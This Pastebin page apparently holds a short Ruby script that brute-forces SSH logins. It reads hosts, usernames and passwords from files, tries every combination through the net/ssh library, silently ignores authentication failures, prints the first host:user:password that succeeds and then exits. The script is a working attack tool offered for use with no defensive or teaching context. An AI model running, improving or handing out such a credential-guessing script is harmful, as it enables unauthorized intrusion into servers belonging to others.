Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- require 'net/ssh'
- require 'thread'
- hosts = []
- File.open("ssh_hosts", "r").each_line do |host|
- hosts << host
- end
- users = []
- File.open("known_users", "r").each_line do |user|
- users << user
- end
- passwords = []
- File.open("known_pass", "r").each_line do |pass|
- passwords << pass
- end
- puts "DEBUG: Scanning #{hosts.size} with #{users.size} users and #{passwords.size} passwords"
- hosts.each do |host|
- users.each do |user|
- passwords.each do |password|
- password = password.chomp
- user = user.chomp
- host = host.chomp
- #puts "Trying #{user}@#{host} with #{password}"
- begin
- Net::SSH.start(host, user, :password => password) do |ssh|
- puts "#{host}:#{user}:#{password}"
- exit
- end
- rescue Exception => e
- # Ignore any auth exceptions
- end
- end
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement